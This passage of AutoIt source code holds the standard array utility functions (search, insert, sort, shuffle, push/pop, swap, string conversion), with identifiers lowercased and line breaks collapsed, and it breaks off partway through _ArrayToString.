EndFunc Func _arrayfindall(Const ByRef $aarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0, $brow = False) If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If $icase = Default Then $icase = 0 If $icompare = Default Then $icompare = 0 If $isubitem = Default Then $isubitem = 0 If $brow = Default Then $brow = False $istart = _arraysearch($aarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem, $brow) If @error Then Return SetError(@error, 0, -1) Local $iindex = 0, $avresult[UBound($aarray, ($brow ? $ubound_columns : $ubound_rows))] Do $avresult[$iindex] = $istart $iindex += 1 $istart = _arraysearch($aarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem, $brow) Until @error ReDim $avresult[$iindex] Return $avresult EndFunc Func _arrayinsert(ByRef $aarray, $vrange, $vvalue = "", $istart = 0, $sdelim_item = "|", $sdelim_row = @CRLF, $iforce = $arrayfill_force_default) If $vvalue = Default Then $vvalue = "" If $istart = Default Then $istart = 0 If $sdelim_item = Default Then $sdelim_item = "|" If $sdelim_row = Default Then $sdelim_row = @CRLF If $iforce = Default Then $iforce = $arrayfill_force_default If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 Local $hdatatype = 0 Switch $iforce Case $arrayfill_force_int $hdatatype = Int Case $arrayfill_force_number $hdatatype = Number Case $arrayfill_force_ptr $hdatatype = Ptr Case $arrayfill_force_hwnd $hdatatype = HWnd Case $arrayfill_force_string $hdatatype = String EndSwitch Local $asplit_1, $asplit_2 If IsArray($vrange) Then If UBound($vrange, $ubound_dimensions) <> 1 OR UBound($vrange, $ubound_rows) < 2 Then Return SetError(4, 0, -1) Else Local $inumber $vrange = StringStripWS($vrange, 8) $asplit_1 = StringSplit($vrange, ";") $vrange = "" For $i = 1 To $asplit_1[0] If NOT StringRegExp($asplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1) $asplit_2 = StringSplit($asplit_1[$i], "-") Switch $asplit_2[0] Case 1 $vrange &= $asplit_2[1] & ";" Case 2 If Number($asplit_2[2]) >= Number($asplit_2[1]) Then $inumber = $asplit_2[1] - 1 Do $inumber += 1 $vrange &= $inumber & ";" Until $inumber = $asplit_2[2] EndIf EndSwitch Next $vrange = StringSplit(StringTrimRight($vrange, 1), ";") EndIf If $vrange[1] < 0 OR $vrange[$vrange[0]] > $idim_1 Then Return SetError(5, 0, -1) For $i = 2 To $vrange[0] If $vrange[$i] < $vrange[$i - 1] Then Return SetError(3, 0, -1) Next Local $icopyto_index = $idim_1 + $vrange[0] Local $iinsertpoint_index = $vrange[0] Local $iinsert_index = $vrange[$iinsertpoint_index] Switch UBound($aarray, $ubound_dimensions) Case 1 If $iforce = $arrayfill_force_singleitem Then ReDim $aarray[$idim_1 + $vrange[0] + 1] For $ireadfromindex = $idim_1 To 0 Step -1 $aarray[$icopyto_index] = $aarray[$ireadfromindex] $icopyto_index -= 1 $iinsert_index = $vrange[$iinsertpoint_index] While $ireadfromindex = $iinsert_index $aarray[$icopyto_index] = $vvalue $icopyto_index -= 1 $iinsertpoint_index -= 1 If $iinsertpoint_index < 1 Then ExitLoop 2 $iinsert_index = $vrange[$iinsertpoint_index] WEnd Next Return $idim_1 + $vrange[0] + 1 EndIf ReDim $aarray[$idim_1 + $vrange[0] + 1] If IsArray($vvalue) Then If UBound($vvalue, $ubound_dimensions) <> 1 Then Return SetError(5, 0, -1) $hdatatype = 0 Else Local $atmp = StringSplit($vvalue, $sdelim_item, $str_nocount + $str_entiresplit) If UBound($atmp, $ubound_rows) = 1 Then $atmp[0] = $vvalue $hdatatype = 0 EndIf $vvalue = $atmp EndIf For $ireadfromindex = $idim_1 To 0 Step -1 $aarray[$icopyto_index] = $aarray[$ireadfromindex] $icopyto_index -= 1 $iinsert_index = $vrange[$iinsertpoint_index] While $ireadfromindex = $iinsert_index If $iinsertpoint_index <= UBound($vvalue, $ubound_rows) Then If IsFunc($hdatatype) Then $aarray[$icopyto_index] = $hdatatype($vvalue[$iinsertpoint_index - 1]) Else $aarray[$icopyto_index] = $vvalue[$iinsertpoint_index - 1] EndIf Else $aarray[$icopyto_index] = "" EndIf $icopyto_index -= 1 $iinsertpoint_index -= 1 If $iinsertpoint_index = 0 Then ExitLoop 2 $iinsert_index = $vrange[$iinsertpoint_index] WEnd Next Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) If $istart < 0 OR $istart > $idim_2 - 1 Then Return SetError(6, 0, -1) Local $ivaldim_1, $ivaldim_2 If IsArray($vvalue) Then If UBound($vvalue, $ubound_dimensions) <> 2 Then Return SetError(7, 0, -1) $ivaldim_1 = UBound($vvalue, $ubound_rows) $ivaldim_2 = UBound($vvalue, $ubound_columns) $hdatatype = 0 Else $asplit_1 = StringSplit($vvalue, $sdelim_row, $str_nocount + $str_entiresplit) $ivaldim_1 = UBound($asplit_1, $ubound_rows) StringReplace($asplit_1[0], $sdelim_item, "") $ivaldim_2 = @extended + 1 Local $atmp[$ivaldim_1][$ivaldim_2] For $i = 0 To $ivaldim_1 - 1 $asplit_2 = StringSplit($asplit_1[$i], $sdelim_item, $str_nocount + $str_entiresplit) For $j = 0 To $ivaldim_2 - 1 $atmp[$i][$j] = $asplit_2[$j] Next Next $vvalue = $atmp EndIf If UBound($vvalue, $ubound_columns) + $istart > UBound($aarray, $ubound_columns) Then Return SetError(8, 0, -1) ReDim $aarray[$idim_1 + $vrange[0] + 1][$idim_2] For $ireadfromindex = $idim_1 To 0 Step -1 For $j = 0 To $idim_2 - 1 $aarray[$icopyto_index][$j] = $aarray[$ireadfromindex][$j] Next $icopyto_index -= 1 $iinsert_index = $vrange[$iinsertpoint_index] While $ireadfromindex = $iinsert_index For $j = 0 To $idim_2 - 1 If $j < $istart Then $aarray[$icopyto_index][$j] = "" ElseIf $j - $istart > $ivaldim_2 - 1 Then $aarray[$icopyto_index][$j] = "" Else If $iinsertpoint_index - 1 < $ivaldim_1 Then If IsFunc($hdatatype) Then $aarray[$icopyto_index][$j] = $hdatatype($vvalue[$iinsertpoint_index - 1][$j - $istart]) Else $aarray[$icopyto_index][$j] = $vvalue[$iinsertpoint_index - 1][$j - $istart] EndIf Else $aarray[$icopyto_index][$j] = "" EndIf EndIf Next $icopyto_index -= 1 $iinsertpoint_index -= 1 If $iinsertpoint_index = 0 Then ExitLoop 2 $iinsert_index = $vrange[$iinsertpoint_index] WEnd Next Case Else Return SetError(2, 0, -1) EndSwitch Return UBound($aarray, $ubound_rows) EndFunc Func _arraymax(Const ByRef $aarray, $icompnumeric = 0, $istart = -1, $iend = -1, $isubitem = 0) Local $iresult = _arraymaxindex($aarray, $icompnumeric, $istart, $iend, $isubitem) If @error Then Return SetError(@error, 0, "") If UBound($aarray, $ubound_dimensions) = 1 Then Return $aarray[$iresult] Else Return $aarray[$iresult][$isubitem] EndIf EndFunc Func _arraymaxindex(Const ByRef $aarray, $icompnumeric = 0, $istart = -1, $iend = -1, $isubitem = 0) If $icompnumeric = Default Then $icompnumeric = 0 If $istart = Default Then $istart = -1 If $iend = Default Then $iend = -1 If $isubitem = Default Then $isubitem = 0 Local $iret = __array_minmaxindex($aarray, $icompnumeric, $istart, $iend, $isubitem, __array_greaterthan) Return SetError(@error, 0, $iret) EndFunc Func _arraymin(Const ByRef $aarray, $icompnumeric = 0, $istart = -1, $iend = -1, $isubitem = 0) Local $iresult = _arrayminindex($aarray, $icompnumeric, $istart, $iend, $isubitem) If @error Then Return SetError(@error, 0, "") If UBound($aarray, $ubound_dimensions) = 1 Then Return $aarray[$iresult] Else Return $aarray[$iresult][$isubitem] EndIf EndFunc Func _arrayminindex(Const ByRef $aarray, $icompnumeric = 0, $istart = -1, $iend = -1, $isubitem = 0) If $icompnumeric = Default Then $icompnumeric = 0 If $istart = Default Then $istart = -1 If $iend = Default Then $iend = -1 If $isubitem = Default Then $isubitem = 0 Local $iret = __array_minmaxindex($aarray, $icompnumeric, $istart, $iend, $isubitem, __array_lessthan) Return SetError(@error, 0, $iret) EndFunc Func _arraypermute(ByRef $aarray, $sdelimiter = "") If $sdelimiter = Default Then $sdelimiter = "" If NOT IsArray($aarray) Then Return SetError(1, 0, 0) If UBound($aarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, 0) Local $isize = UBound($aarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1 If UBound($aarray) Then For $i = 0 To $isize - 1 $aidx[$i] = $i Next For $i = $isize To 1 Step -1 $ifactorial *= $i Next ReDim $aresult[$ifactorial + 1] $aresult[0] = $ifactorial __array_exeterinternal($aarray, 0, $isize, $sdelimiter, $aidx, $aresult, $icount) Else $aresult[0] = 0 EndIf Return $aresult EndFunc Func _arraypop(ByRef $aarray) If (NOT IsArray($aarray)) Then Return SetError(1, 0, "") If UBound($aarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, "") Local $iubound = UBound($aarray) - 1 If $iubound = -1 Then Return SetError(3, 0, "") Local $slastval = $aarray[$iubound] If $iubound > -1 Then ReDim $aarray[$iubound] EndIf Return $slastval EndFunc Func _arraypush(ByRef $aarray, $vvalue, $idirection = 0) If $idirection = Default Then $idirection = 0 If (NOT IsArray($aarray)) Then Return SetError(1, 0, 0) If UBound($aarray, $ubound_dimensions) <> 1 Then Return SetError(3, 0, 0) Local $iubound = UBound($aarray) - 1 If IsArray($vvalue) Then Local $iubounds = UBound($vvalue) If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0) If $idirection Then For $i = $iubound To $iubounds Step -1 $aarray[$i] = $aarray[$i - $iubounds] Next For $i = 0 To $iubounds - 1 $aarray[$i] = $vvalue[$i] Next Else For $i = 0 To $iubound - $iubounds $aarray[$i] = $aarray[$i + $iubounds] Next For $i = 0 To $iubounds - 1 $aarray[$i + $iubound - $iubounds + 1] = $vvalue[$i] Next EndIf Else If $iubound > -1 Then If $idirection Then For $i = $iubound To 1 Step -1 $aarray[$i] = $aarray[$i - 1] Next $aarray[0] = $vvalue Else For $i = 0 To $iubound - 1 $aarray[$i] = $aarray[$i + 1] Next $aarray[$iubound] = $vvalue EndIf EndIf EndIf Return 1 EndFunc Func _arrayreverse(ByRef $aarray, $istart = 0, $iend = 0) If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If NOT IsArray($aarray) Then Return SetError(1, 0, 0) If UBound($aarray, $ubound_dimensions) <> 1 Then Return SetError(3, 0, 0) If NOT UBound($aarray) Then Return SetError(4, 0, 0) Local $vtmp, $iubound = UBound($aarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) For $i = $istart To Int(($istart + $iend - 1) / 2) $vtmp = $aarray[$i] $aarray[$i] = $aarray[$iend] $aarray[$iend] = $vtmp $iend -= 1 Next Return 1 EndFunc Func _arraysearch(Const ByRef $aarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1, $brow = False) If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If $icase = Default Then $icase = 0 If $icompare = Default Then $icompare = 0 If $iforward = Default Then $iforward = 1 If $isubitem = Default Then $isubitem = -1 If $brow = Default Then $brow = False If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray) - 1 If $idim_1 = -1 Then Return SetError(3, 0, -1) Local $idim_2 = UBound($aarray, $ubound_columns) - 1 Local $bcomptype = False If $icompare = 2 Then $icompare = 0 $bcomptype = True EndIf If $brow Then If UBound($aarray, $ubound_dimensions) = 1 Then Return SetError(5, 0, -1) If $iend < 1 OR $iend > $idim_2 Then $iend = $idim_2 If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Else If $iend < 1 OR $iend > $idim_1 Then $iend = $idim_1 If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) EndIf Local $istep = 1 If NOT $iforward Then Local $itmp = $istart $istart = $iend $iend = $itmp $istep = -1 EndIf Switch UBound($aarray, $ubound_dimensions) Case 1 If NOT $icompare Then If NOT $icase Then For $i = $istart To $iend Step $istep If $bcomptype AND VarGetType($aarray[$i]) <> VarGetType($vvalue) Then ContinueLoop If $aarray[$i] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $bcomptype AND VarGetType($aarray[$i]) <> VarGetType($vvalue) Then ContinueLoop If $aarray[$i] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If $icompare = 3 Then If StringRegExp($aarray[$i], $vvalue) Then Return $i Else If StringInStr($aarray[$i], $vvalue, $icase) > 0 Then Return $i EndIf Next EndIf Case 2 Local $idim_sub If $brow Then $idim_sub = $idim_1 If $isubitem > $idim_sub Then $isubitem = $idim_sub If $isubitem < 0 Then $isubitem = 0 Else $idim_sub = $isubitem EndIf Else $idim_sub = $idim_2 If $isubitem > $idim_sub Then $isubitem = $idim_sub If $isubitem < 0 Then $isubitem = 0 Else $idim_sub = $isubitem EndIf EndIf For $j = $isubitem To $idim_sub If NOT $icompare Then If NOT $icase Then For $i = $istart To $iend Step $istep If $brow Then If $bcomptype AND VarGetType($aarray[$j][$j]) <> VarGetType($vvalue) Then ContinueLoop If $aarray[$j][$i] = $vvalue Then Return $i Else If $bcomptype AND VarGetType($aarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop If $aarray[$i][$j] = $vvalue Then Return $i EndIf Next Else For $i = $istart To $iend Step $istep If $brow Then If $bcomptype AND VarGetType($aarray[$j][$i]) <> VarGetType($vvalue) Then ContinueLoop If $aarray[$j][$i] == $vvalue Then Return $i Else If $bcomptype AND VarGetType($aarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop If $aarray[$i][$j] == $vvalue Then Return $i EndIf Next EndIf Else For $i = $istart To $iend Step $istep If $icompare = 3 Then If $brow Then If StringRegExp($aarray[$j][$i], $vvalue) Then Return $i Else If StringRegExp($aarray[$i][$j], $vvalue) Then Return $i EndIf Else If $brow Then If StringInStr($aarray[$j][$i], $vvalue, $icase) > 0 Then Return $i Else If StringInStr($aarray[$i][$j], $vvalue, $icase) > 0 Then Return $i EndIf EndIf Next EndIf Next Case Else Return SetError(2, 0, -1) EndSwitch Return SetError(6, 0, -1) EndFunc Func _arrayshuffle(ByRef $aarray, $istart_row = 0, $iend_row = 0, $icol = -1) If $istart_row = Default Then $istart_row = 0 If $iend_row = Default Then $iend_row = 0 If $icol = Default Then $icol = -1 If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) If $iend_row = 0 Then $iend_row = $idim_1 - 1 If $istart_row < 0 OR $istart_row > $idim_1 - 1 Then Return SetError(3, 0, -1) If $iend_row < 1 OR $iend_row > $idim_1 - 1 Then Return SetError(3, 0, -1) If $istart_row > $iend_row Then Return SetError(4, 0, -1) Local $vtmp, $irand Switch UBound($aarray, $ubound_dimensions) Case 1 For $i = $iend_row To $istart_row + 1 Step -1 $irand = Random($istart_row, $i, 1) $vtmp = $aarray[$i] $aarray[$i] = $aarray[$irand] $aarray[$irand] = $vtmp Next Return 1 Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) If $icol < -1 OR $icol > $idim_2 - 1 Then Return SetError(5, 0, -1) Local $icol_start, $icol_end If $icol = -1 Then $icol_start = 0 $icol_end = $idim_2 - 1 Else $icol_start = $icol $icol_end = $icol EndIf For $i = $iend_row To $istart_row + 1 Step -1 $irand = Random($istart_row, $i, 1) For $j = $icol_start To $icol_end $vtmp = $aarray[$i][$j] $aarray[$i][$j] = $aarray[$irand][$j] $aarray[$irand][$j] = $vtmp Next Next Return 1 Case Else Return SetError(2, 0, -1) EndSwitch EndFunc Func _arraysort(ByRef $aarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0, $ipivot = 0) If $idescending = Default Then $idescending = 0 If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If $isubitem = Default Then $isubitem = 0 If $ipivot = Default Then $ipivot = 0 If NOT IsArray($aarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($aarray) - 1 If $iubound = -1 Then Return SetError(5, 0, 0) If $iend = Default Then $iend = 0 If $iend < 1 OR $iend > $iubound OR $iend = Default Then $iend = $iubound If $istart < 0 OR $istart = Default Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) If $idescending = Default Then $idescending = 0 If $ipivot = Default Then $ipivot = 0 If $isubitem = Default Then $isubitem = 0 Switch UBound($aarray, $ubound_dimensions) Case 1 If $ipivot Then __arraydualpivotsort($aarray, $istart, $iend) Else __arrayquicksort1d($aarray, $istart, $iend) EndIf If $idescending Then _arrayreverse($aarray, $istart, $iend) Case 2 If $ipivot Then Return SetError(6, 0, 0) Local $isubmax = UBound($aarray, $ubound_columns) - 1 If $isubitem > $isubmax Then Return SetError(3, 0, 0) If $idescending Then $idescending = -1 Else $idescending = 1 EndIf __arrayquicksort2d($aarray, $idescending, $istart, $iend, $isubitem, $isubmax) Case Else Return SetError(4, 0, 0) EndSwitch Return 1 EndFunc Func __arrayquicksort1d(ByRef $aarray, Const ByRef $istart, Const ByRef $iend) If $iend <= $istart Then Return Local $vtmp If ($iend - $istart) < 15 Then Local $vcur For $i = $istart + 1 To $iend $vtmp = $aarray[$i] If IsNumber($vtmp) Then For $j = $i - 1 To $istart Step -1 $vcur = $aarray[$j] If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop $aarray[$j + 1] = $vcur Next Else For $j = $i - 1 To $istart Step -1 If (StringCompare($vtmp, $aarray[$j]) >= 0) Then ExitLoop $aarray[$j + 1] = $aarray[$j] Next EndIf $aarray[$j + 1] = $vtmp Next Return EndIf Local $l = $istart, $r = $iend, $vpivot = $aarray[Int(($istart + $iend) / 2)], $bnum = IsNumber($vpivot) Do If $bnum Then While ($aarray[$l] < $vpivot AND IsNumber($aarray[$l])) OR (NOT IsNumber($aarray[$l]) AND StringCompare($aarray[$l], $vpivot) < 0) $l += 1 WEnd While ($aarray[$r] > $vpivot AND IsNumber($aarray[$r])) OR (NOT IsNumber($aarray[$r]) AND StringCompare($aarray[$r], $vpivot) > 0) $r -= 1 WEnd Else While (StringCompare($aarray[$l], $vpivot) < 0) $l += 1 WEnd While (StringCompare($aarray[$r], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then $vtmp = $aarray[$l] $aarray[$l] = $aarray[$r] $aarray[$r] = $vtmp $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort1d($aarray, $istart, $r) __arrayquicksort1d($aarray, $l, $iend) EndFunc Func __arrayquicksort2d(ByRef $aarray, Const ByRef $istep, Const ByRef $istart, Const ByRef $iend, Const ByRef $isubitem, Const ByRef $isubmax) If $iend <= $istart Then Return Local $vtmp, $l = $istart, $r = $iend, $vpivot = $aarray[Int(($istart + $iend) / 2)][$isubitem], $bnum = IsNumber($vpivot) Do If $bnum Then While ($istep * ($aarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($aarray[$l][$isubitem])) OR (NOT IsNumber($aarray[$l][$isubitem]) AND $istep * StringCompare($aarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * ($aarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($aarray[$r][$isubitem])) OR (NOT IsNumber($aarray[$r][$isubitem]) AND $istep * StringCompare($aarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd Else While ($istep * StringCompare($aarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * StringCompare($aarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then For $i = 0 To $isubmax $vtmp = $aarray[$l][$i] $aarray[$l][$i] = $aarray[$r][$i] $aarray[$r][$i] = $vtmp Next $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort2d($aarray, $istep, $istart, $r, $isubitem, $isubmax) __arrayquicksort2d($aarray, $istep, $l, $iend, $isubitem, $isubmax) EndFunc Func __arraydualpivotsort(ByRef $aarray, $ipivot_left, $ipivot_right, $bleftmost = True) If $ipivot_left > $ipivot_right Then Return Local $ilength = $ipivot_right - $ipivot_left + 1 Local $i, $j, $k, $iai, $iak, $ia1, $ia2, $ilast If $ilength < 45 Then If $bleftmost Then $i = $ipivot_left While $i < $ipivot_right $j = $i $iai = $aarray[$i + 1] While $iai < $aarray[$j] $aarray[$j + 1] = $aarray[$j] $j -= 1 If $j + 1 = $ipivot_left Then ExitLoop WEnd $aarray[$j + 1] = $iai $i += 1 WEnd Else While 1 If $ipivot_left >= $ipivot_right Then Return 1 $ipivot_left += 1 If $aarray[$ipivot_left] < $aarray[$ipivot_left - 1] Then ExitLoop WEnd While 1 $k = $ipivot_left $ipivot_left += 1 If $ipivot_left > $ipivot_right Then ExitLoop $ia1 = $aarray[$k] $ia2 = $aarray[$ipivot_left] If $ia1 < $ia2 Then $ia2 = $ia1 $ia1 = $aarray[$ipivot_left] EndIf $k -= 1 While $ia1 < $aarray[$k] $aarray[$k + 2] = $aarray[$k] $k -= 1 WEnd $aarray[$k + 2] = $ia1 While $ia2 < $aarray[$k] $aarray[$k + 1] = $aarray[$k] $k -= 1 WEnd $aarray[$k + 1] = $ia2 $ipivot_left += 1 WEnd $ilast = $aarray[$ipivot_right] $ipivot_right -= 1 While $ilast < $aarray[$ipivot_right] $aarray[$ipivot_right + 1] = $aarray[$ipivot_right] $ipivot_right -= 1 WEnd $aarray[$ipivot_right + 1] = $ilast EndIf Return 1 EndIf Local $iseventh = BitShift($ilength, 3) + BitShift($ilength, 6) + 1 Local $ie1, $ie2, $ie3, $ie4, $ie5, $t $ie3 = Ceiling(($ipivot_left + $ipivot_right) / 2) $ie2 = $ie3 - $iseventh $ie1 = $ie2 - $iseventh $ie4 = $ie3 + $iseventh $ie5 = $ie4 + $iseventh If $aarray[$ie2] < $aarray[$ie1] Then $t = $aarray[$ie2] $aarray[$ie2] = $aarray[$ie1] $aarray[$ie1] = $t EndIf If $aarray[$ie3] < $aarray[$ie2] Then $t = $aarray[$ie3] $aarray[$ie3] = $aarray[$ie2] $aarray[$ie2] = $t If $t < $aarray[$ie1] Then $aarray[$ie2] = $aarray[$ie1] $aarray[$ie1] = $t EndIf EndIf If $aarray[$ie4] < $aarray[$ie3] Then $t = $aarray[$ie4] $aarray[$ie4] = $aarray[$ie3] $aarray[$ie3] = $t If $t < $aarray[$ie2] Then $aarray[$ie3] = $aarray[$ie2] $aarray[$ie2] = $t If $t < $aarray[$ie1] Then $aarray[$ie2] = $aarray[$ie1] $aarray[$ie1] = $t EndIf EndIf EndIf If $aarray[$ie5] < $aarray[$ie4] Then $t = $aarray[$ie5] $aarray[$ie5] = $aarray[$ie4] $aarray[$ie4] = $t If $t < $aarray[$ie3] Then $aarray[$ie4] = $aarray[$ie3] $aarray[$ie3] = $t If $t < $aarray[$ie2] Then $aarray[$ie3] = $aarray[$ie2] $aarray[$ie2] = $t If $t < $aarray[$ie1] Then $aarray[$ie2] = $aarray[$ie1] $aarray[$ie1] = $t EndIf EndIf EndIf EndIf Local $iless = $ipivot_left Local $igreater = $ipivot_right If (($aarray[$ie1] <> $aarray[$ie2]) AND ($aarray[$ie2] <> $aarray[$ie3]) AND ($aarray[$ie3] <> $aarray[$ie4]) AND ($aarray[$ie4] <> $aarray[$ie5])) Then Local $ipivot_1 = $aarray[$ie2] Local $ipivot_2 = $aarray[$ie4] $aarray[$ie2] = $aarray[$ipivot_left] $aarray[$ie4] = $aarray[$ipivot_right] Do $iless += 1 Until $aarray[$iless] >= $ipivot_1 Do $igreater -= 1 Until $aarray[$igreater] <= $ipivot_2 $k = $iless While $k <= $igreater $iak = $aarray[$k] If $iak < $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $iak $iless += 1 ElseIf $iak > $ipivot_2 Then While $aarray[$igreater] > $ipivot_2 $igreater -= 1 If $igreater + 1 = $k Then ExitLoop 2 WEnd If $aarray[$igreater] < $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $aarray[$igreater] $iless += 1 Else $aarray[$k] = $aarray[$igreater] EndIf $aarray[$igreater] = $iak $igreater -= 1 EndIf $k += 1 WEnd $aarray[$ipivot_left] = $aarray[$iless - 1] $aarray[$iless - 1] = $ipivot_1 $aarray[$ipivot_right] = $aarray[$igreater + 1] $aarray[$igreater + 1] = $ipivot_2 __arraydualpivotsort($aarray, $ipivot_left, $iless - 2, True) __arraydualpivotsort($aarray, $igreater + 2, $ipivot_right, False) If ($iless < $ie1) AND ($ie5 < $igreater) Then While $aarray[$iless] = $ipivot_1 $iless += 1 WEnd While $aarray[$igreater] = $ipivot_2 $igreater -= 1 WEnd $k = $iless While $k <= $igreater $iak = $aarray[$k] If $iak = $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $iak $iless += 1 ElseIf $iak = $ipivot_2 Then While $aarray[$igreater] = $ipivot_2 $igreater -= 1 If $igreater + 1 = $k Then ExitLoop 2 WEnd If $aarray[$igreater] = $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $ipivot_1 $iless += 1 Else $aarray[$k] = $aarray[$igreater] EndIf $aarray[$igreater] = $iak $igreater -= 1 EndIf $k += 1 WEnd EndIf __arraydualpivotsort($aarray, $iless, $igreater, False) Else Local $ipivot = $aarray[$ie3] $k = $iless While $k <= $igreater If $aarray[$k] = $ipivot Then $k += 1 ContinueLoop EndIf $iak = $aarray[$k] If $iak < $ipivot Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $iak $iless += 1 Else While $aarray[$igreater] > $ipivot $igreater -= 1 WEnd If $aarray[$igreater] < $ipivot Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $aarray[$igreater] $iless += 1 Else $aarray[$k] = $ipivot EndIf $aarray[$igreater] = $iak $igreater -= 1 EndIf $k += 1 WEnd __arraydualpivotsort($aarray, $ipivot_left, $iless - 1, True) __arraydualpivotsort($aarray, $igreater + 1, $ipivot_right, False) EndIf EndFunc Func _arrayswap(ByRef $aarray, $iindex_1, $iindex_2, $bcol = False, $istart = -1, $iend = -1) If $bcol = Default Then $bcol = False If $istart = Default Then $istart = -1 If $iend = Default Then $iend = -1 If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 Local $idim_2 = UBound($aarray, $ubound_columns) - 1 If $idim_2 = -1 Then $bcol = False $istart = -1 $iend = -1 EndIf If $istart > $iend Then Return SetError(5, 0, -1) If $bcol Then If $iindex_1 < 0 OR $iindex_2 > $idim_2 Then Return SetError(3, 0, -1) If $istart = -1 Then $istart = 0 If $iend = -1 Then $iend = $idim_1 Else If $iindex_1 < 0 OR $iindex_2 > $idim_1 Then Return SetError(3, 0, -1) If $istart = -1 Then $istart = 0 If $iend = -1 Then $iend = $idim_2 EndIf Local $vtmp Switch UBound($aarray, $ubound_dimensions) Case 1 $vtmp = $aarray[$iindex_1] $aarray[$iindex_1] = $aarray[$iindex_2] $aarray[$iindex_2] = $vtmp Case 2 If $istart < -1 OR $iend < -1 Then Return SetError(4, 0, -1) If $bcol Then If $istart > $idim_1 OR $iend > $idim_1 Then Return SetError(4, 0, -1) For $j = $istart To $iend $vtmp = $aarray[$j][$iindex_1] $aarray[$j][$iindex_1] = $aarray[$j][$iindex_2] $aarray[$j][$iindex_2] = $vtmp Next Else If $istart > $idim_2 OR $iend > $idim_2 Then Return SetError(4, 0, -1) For $j = $istart To $iend $vtmp = $aarray[$iindex_1][$j] $aarray[$iindex_1][$j] = $aarray[$iindex_2][$j] $aarray[$iindex_2][$j] = $vtmp Next EndIf Case Else Return SetError(2, 0, -1) EndSwitch Return 1 EndFunc Func _arraytoclip(Const ByRef $aarray, $sdelim_col = "|", $istart_row = -1, $iend_row = -1, $sdelim_row = @CRLF, $istart_col = -1, $iend_col = -1) Local $sresult = _arraytostring($aarray, $sdelim_col, $istart_row, $iend_row, $sdelim_row, $istart_col, $iend_col) If @error Then Return SetError(@error, 0, 0) If ClipPut($sresult) Then Return 1 Return SetError(-1, 0, 0) EndFunc Func _arraytostring(Const ByRef $aarray, $sdelim_col = "|", $istart_row = -1, $iend_row = -1, $sdelim_row = @CRLF, $istart_col = -1, $iend_col = -1) If $sdelim_col = Default Then $sdelim_col = "|" If $sdelim_row = Default Then $sdelim_row = @CRLF If $istart_row = Default Then $istart_row = -1 If $iend_row = Default Then $iend_row = -1 If $istart_col = Default Then $istart_col = -1 If $iend_col = Default Then $iend_col = -1 If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 If $istart_row = -1 Then $istart_row = 0 If $iend_row = -1 Then $iend_row = $idim_1 If $istart_row < -1 OR $iend_row < -1 Then Return SetError(3, 0, -1) If $istart_row > $idim_1 OR $iend_row > $idim_1 Then Return SetError(3, 0, "") If $istart_row > $iend_row Then Return SetError(4, 0, -1) Local $sret = "" Switch UBound($aarray, $ubound_dimensions) Case 1 For $i = $istart_row To $iend_row $sret &= $aarray[$i] & $sdelim_col Next Return StringTrimRight($sret, StringLen($sdelim_col)) Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) - 1 If $istart_col = -1 Then $istart_col = 0 If $iend_col = -1 Then $iend_col = $idim_2 If $istart_col < -1 OR $iend_col < -1 Then Return SetError(5, 0, -1) If $istart_col > $idim_2 OR $iend_col > $idim_2 Then Return SetError(5, 0, -1) If $istart_col > $iend_col Then Return SetError(6, 0, -1) For $i = $istart_row To $iend_row For $j = $istart_col To $iend_col $sret &= $aarray[$i][$j] & $sdelim_col Next $sret = 